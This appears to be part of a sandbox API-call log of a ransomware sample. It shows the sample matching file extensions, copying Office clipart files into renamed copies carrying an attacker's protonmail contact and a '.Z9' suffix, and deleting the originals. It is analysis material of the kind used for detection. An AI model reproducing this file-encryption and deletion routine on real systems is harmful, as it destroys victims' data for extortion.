	[0089.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.045] lstrlenW (lpString=".7z") returned 3
	[0089.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0089.045] lstrlenW (lpString=".dbf") returned 4
	[0089.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0089.045] lstrlenW (lpString=".1cd") returned 4
	[0089.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0089.045] lstrlenW (lpString=".jpg") returned 4
	[0089.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0089.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0089.046] lstrlenW (lpString=".doc") returned 4
	[0089.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.046] lstrlenW (lpString=".docx") returned 5
	[0089.046] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.046] lstrlenW (lpString=".pdf") returned 4
	[0089.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.046] lstrlenW (lpString=".xls") returned 4
	[0089.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.046] lstrlenW (lpString=".xlsx") returned 5
	[0089.046] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.046] lstrlenW (lpString=".ppt") returned 4
	[0089.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0089.046] lstrlenW (lpString=".zip") returned 4
	[0089.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.046] lstrlenW (lpString=".rar") returned 4
	[0089.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.046] lstrlenW (lpString=".bz2") returned 4
	[0089.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.046] lstrlenW (lpString=".7z") returned 3
	[0089.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0089.046] lstrlenW (lpString=".dbf") returned 4
	[0089.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0089.046] lstrlenW (lpString=".1cd") returned 4
	[0089.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0089.046] lstrlenW (lpString=".jpg") returned 4
	[0089.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.046] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.047] lstrlenW (lpString="CLASSIC1.WMF") returned 12
	[0089.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0089.047] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2422) returned 1
	[0089.047] CloseHandle (hObject=0x35c) returned 1
	[0089.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 0x220
	[0089.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0089.048] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.048] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0089.048] GetLastError () returned 0x0
	[0089.048] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x976, lpOverlapped=0x0) returned 1
	[0089.049] WriteFile (in: hFile=0x370, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x980, lpOverlapped=0x0) returned 1
	[0089.050] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.050] WriteFile (in: hFile=0x370, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.050] SetEndOfFile (hFile=0x370) returned 1
	[0089.051] CloseHandle (hObject=0x370) returned 1
	[0089.051] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.051] SetEndOfFile (hFile=0x35c) returned 1
	[0089.052] CloseHandle (hObject=0x35c) returned 1
	[0089.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 1
	[0089.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0089.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0089.053] lstrlenW (lpString=".doc") returned 4
	[0089.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.053] lstrlenW (lpString=".docx") returned 5
	[0089.053] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0089.053] lstrlenW (lpString=".pdf") returned 4
	[0089.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.053] lstrlenW (lpString=".xls") returned 4
	[0089.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.053] lstrlenW (lpString=".xlsx") returned 5
	[0089.053] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0089.053] lstrlenW (lpString=".ppt") returned 4
	[0089.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0089.053] lstrlenW (lpString=".zip") returned 4
	[0089.053] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.053] lstrlenW (lpString=".rar") returned 4
	[0089.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.053] lstrlenW (lpString=".bz2") returned 4
	[0089.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.053] lstrlenW (lpString=".7z") returned 3
	[0089.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0089.053] lstrlenW (lpString=".dbf") returned 4
	[0089.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0089.054] lstrlenW (lpString=".1cd") returned 4
	[0089.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0089.054] lstrlenW (lpString=".jpg") returned 4
	[0089.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0089.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0089.054] lstrlenW (lpString=".doc") returned 4
	[0089.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.054] lstrlenW (lpString=".docx") returned 5
	[0089.054] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0089.054] lstrlenW (lpString=".pdf") returned 4
	[0089.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.054] lstrlenW (lpString=".xls") returned 4
	[0089.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.054] lstrlenW (lpString=".xlsx") returned 5
	[0089.054] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0089.054] lstrlenW (lpString=".ppt") returned 4
	[0089.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0089.054] lstrlenW (lpString=".zip") returned 4
	[0089.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.054] lstrlenW (lpString=".rar") returned 4
	[0089.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.054] lstrlenW (lpString=".bz2") returned 4
	[0089.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.054] lstrlenW (lpString=".7z") returned 3
	[0089.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0089.054] lstrlenW (lpString=".dbf") returned 4
	[0089.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0089.054] lstrlenW (lpString=".1cd") returned 4
	[0089.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0089.055] lstrlenW (lpString=".jpg") returned 4
	[0089.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.055] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.055] lstrlenW (lpString="CLASSIC2.WMF") returned 12
	[0089.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0089.055] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2262) returned 1
	[0089.055] CloseHandle (hObject=0x35c) returned 1
	[0089.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 0x220
	[0089.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0089.056] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.056] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0089.056] GetLastError () returned 0x0
	[0089.056] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x8d6, lpOverlapped=0x0) returned 1
	[0089.058] WriteFile (in: hFile=0x370, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x8e0, lpOverlapped=0x0) returned 1
	[0089.059] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.059] WriteFile (in: hFile=0x370, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.059] SetEndOfFile (hFile=0x370) returned 1
	[0089.059] CloseHandle (hObject=0x370) returned 1
	[0089.060] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.060] SetEndOfFile (hFile=0x35c) returned 1
	[0089.061] CloseHandle (hObject=0x35c) returned 1
	[0089.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 1
	[0089.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0089.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0089.061] lstrlenW (lpString=".doc") returned 4
	[0089.061] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.061] lstrlenW (lpString=".docx") returned 5
	[0089.061] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0089.061] lstrlenW (lpString=".pdf") returned 4
	[0089.061] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.061] lstrlenW (lpString=".xls") returned 4
	[0089.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.062] lstrlenW (lpString=".xlsx") returned 5
	[0089.062] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0089.062] lstrlenW (lpString=".ppt") returned 4
	[0089.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0089.062] lstrlenW (lpString=".zip") returned 4
	[0089.062] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.062] lstrlenW (lpString=".rar") returned 4
	[0089.062] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.062] lstrlenW (lpString=".bz2") returned 4
	[0089.062] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.062] lstrlenW (lpString=".7z") returned 3
	[0089.062] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0089.062] lstrlenW (lpString=".dbf") returned 4
	[0089.062] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0089.062] lstrlenW (lpString=".1cd") returned 4
	[0089.062] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0089.062] lstrlenW (lpString=".jpg") returned 4
	[0089.062] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0089.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0089.062] lstrlenW (lpString=".doc") returned 4
	[0089.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.062] lstrlenW (lpString=".docx") returned 5
	[0089.062] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0089.062] lstrlenW (lpString=".pdf") returned 4
	[0089.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.062] lstrlenW (lpString=".xls") returned 4
	[0089.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.062] lstrlenW (lpString=".xlsx") returned 5
	[0089.062] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0089.062] lstrlenW (lpString=".ppt") returned 4
	[0089.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0089.063] lstrlenW (lpString=".zip") returned 4
	[0089.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.063] lstrlenW (lpString=".rar") returned 4
	[0089.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.063] lstrlenW (lpString=".bz2") returned 4
	[0089.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.063] lstrlenW (lpString=".7z") returned 3
	[0089.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0089.063] lstrlenW (lpString=".dbf") returned 4
	[0089.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0089.063] lstrlenW (lpString=".1cd") returned 4
	[0089.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0089.063] lstrlenW (lpString=".jpg") returned 4
	[0089.063] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.063] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.063] lstrlenW (lpString="CLIP.WMF") returned 8
	[0089.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0089.393] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2262) returned 1
	[0089.393] CloseHandle (hObject=0x370) returned 1
	[0089.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 0x220
	[0089.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0089.393] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.393] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0089.394] GetLastError () returned 0x0
	[0089.394] ReadFile (in: hFile=0x370, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x8d6, lpOverlapped=0x0) returned 1
	[0089.395] WriteFile (in: hFile=0x388, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x8e0, lpOverlapped=0x0) returned 1
	[0089.397] ReadFile (in: hFile=0x370, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.397] WriteFile (in: hFile=0x388, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0089.397] SetEndOfFile (hFile=0x388) returned 1
	[0089.398] CloseHandle (hObject=0x388) returned 1
	[0089.398] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.398] SetEndOfFile (hFile=0x370) returned 1
	[0089.399] CloseHandle (hObject=0x370) returned 1
	[0089.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 1
	[0089.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0089.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0089.399] lstrlenW (lpString=".doc") returned 4
	[0089.399] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.399] lstrlenW (lpString=".docx") returned 5
	[0089.399] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0089.399] lstrlenW (lpString=".pdf") returned 4
	[0089.399] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.399] lstrlenW (lpString=".xls") returned 4
	[0089.399] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.400] lstrlenW (lpString=".xlsx") returned 5
	[0089.400] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0089.400] lstrlenW (lpString=".ppt") returned 4
	[0089.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0089.400] lstrlenW (lpString=".zip") returned 4
	[0089.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
